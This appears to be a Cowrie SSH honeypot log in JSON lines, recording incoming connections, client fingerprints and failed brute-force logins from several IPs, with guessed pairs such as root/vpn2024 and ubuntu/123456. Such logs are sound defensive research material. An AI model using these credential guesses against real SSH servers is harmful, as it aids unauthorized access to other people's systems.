{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:14.249781Z","src_ip":"103.182.132.154","session":"1d3d5452ba85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:14.463107Z","src_ip":"103.182.132.154","session":"1d3d5452ba85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa112233","message":"login attempt [ubuntu/Aa112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:15.353201Z","src_ip":"103.182.132.154","session":"1d3d5452ba85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:16.570684Z","src_ip":"103.182.132.154","session":"1d3d5452ba85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":41124,"dst_ip":"159.203.135.109","dst_port":22,"session":"47d7cd0d65a8","protocol":"ssh","message":"New connection: 122.168.114.167:41124 (159.203.135.109:22) [session: 47d7cd0d65a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:25.928779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:28.466235Z","src_ip":"122.168.114.167","session":"47d7cd0d65a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:31.034256Z","src_ip":"122.168.114.167","session":"47d7cd0d65a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:40.186544Z","src_ip":"122.168.114.167","session":"47d7cd0d65a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.7","message":"Connection lost after 17.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:43.623458Z","src_ip":"122.168.114.167","session":"47d7cd0d65a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38432,"dst_ip":"159.203.135.109","dst_port":22,"session":"770c40b1c245","protocol":"ssh","message":"New connection: 159.203.92.129:38432 (159.203.135.109:22) [session: 770c40b1c245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:52.448717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:52.453224Z","src_ip":"159.203.92.129","session":"770c40b1c245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:52.457541Z","src_ip":"159.203.92.129","session":"770c40b1c245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ashley","password":"123456","message":"login attempt [ashley/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:52.468133Z","src_ip":"159.203.92.129","session":"770c40b1c245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:25:53.483897Z","src_ip":"159.203.92.129","session":"770c40b1c245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":44712,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e6fd5fd29ed","protocol":"ssh","message":"New connection: 202.4.106.201:44712 (159.203.135.109:22) [session: 6e6fd5fd29ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:03.208358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:03.212974Z","src_ip":"202.4.106.201","session":"6e6fd5fd29ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:03.462584Z","src_ip":"202.4.106.201","session":"6e6fd5fd29ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpn2024","message":"login attempt [root/vpn2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:05.196585Z","src_ip":"202.4.106.201","session":"6e6fd5fd29ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":43532,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6b9238ac254","protocol":"ssh","message":"New connection: 122.168.114.167:43532 (159.203.135.109:22) [session: e6b9238ac254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:06.059319Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:06.453251Z","src_ip":"202.4.106.201","session":"6e6fd5fd29ed","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:08.072868Z","src_ip":"122.168.114.167","session":"e6b9238ac254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:08.076227Z","src_ip":"122.168.114.167","session":"e6b9238ac254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":13278,"dst_ip":"159.203.135.109","dst_port":22,"session":"6019426d5ed5","protocol":"ssh","message":"New connection: 159.223.45.177:13278 (159.203.135.109:22) [session: 6019426d5ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:17.816489Z"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:19.013672Z","src_ip":"122.168.114.167","session":"e6b9238ac254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":42534,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9d6b3844708","protocol":"ssh","message":"New connection: 103.182.132.154:42534 (159.203.135.109:22) [session: e9d6b3844708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:19.888880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:19.893759Z","src_ip":"103.182.132.154","session":"e9d6b3844708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:20.105792Z","src_ip":"103.182.132.154","session":"e9d6b3844708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:20.568329Z","src_ip":"159.223.45.177","session":"6019426d5ed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user04","password":"user041","message":"login attempt [user04/user041] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:20.981694Z","src_ip":"103.182.132.154","session":"e9d6b3844708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:22.195430Z","src_ip":"103.182.132.154","session":"e9d6b3844708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.7","message":"Connection lost after 16.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:22.732685Z","src_ip":"122.168.114.167","session":"e6b9238ac254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43936,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3a4d913eb4c","protocol":"ssh","message":"New connection: 159.203.92.129:43936 (159.203.135.109:22) [session: d3a4d913eb4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:37.838418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:37.843117Z","src_ip":"159.203.92.129","session":"d3a4d913eb4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:37.847656Z","src_ip":"159.203.92.129","session":"d3a4d913eb4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ashoka","password":"ashoka","message":"login attempt [ashoka/ashoka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:37.858429Z","src_ip":"159.203.92.129","session":"d3a4d913eb4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:38.864477Z","src_ip":"159.203.92.129","session":"d3a4d913eb4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":45944,"dst_ip":"159.203.135.109","dst_port":22,"session":"d89de88f89a0","protocol":"ssh","message":"New connection: 122.168.114.167:45944 (159.203.135.109:22) [session: d89de88f89a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:44.682656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:46.638304Z","src_ip":"122.168.114.167","session":"d89de88f89a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:46.642421Z","src_ip":"122.168.114.167","session":"d89de88f89a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:26:56.615072Z","src_ip":"122.168.114.167","session":"d89de88f89a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:27:00.115055Z","src_ip":"122.168.114.167","session":"d89de88f89a0","protocol":"ssh"}
